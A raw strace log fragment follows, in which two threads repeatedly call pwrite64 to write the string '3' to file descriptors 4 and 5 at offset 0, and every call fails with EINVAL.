[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
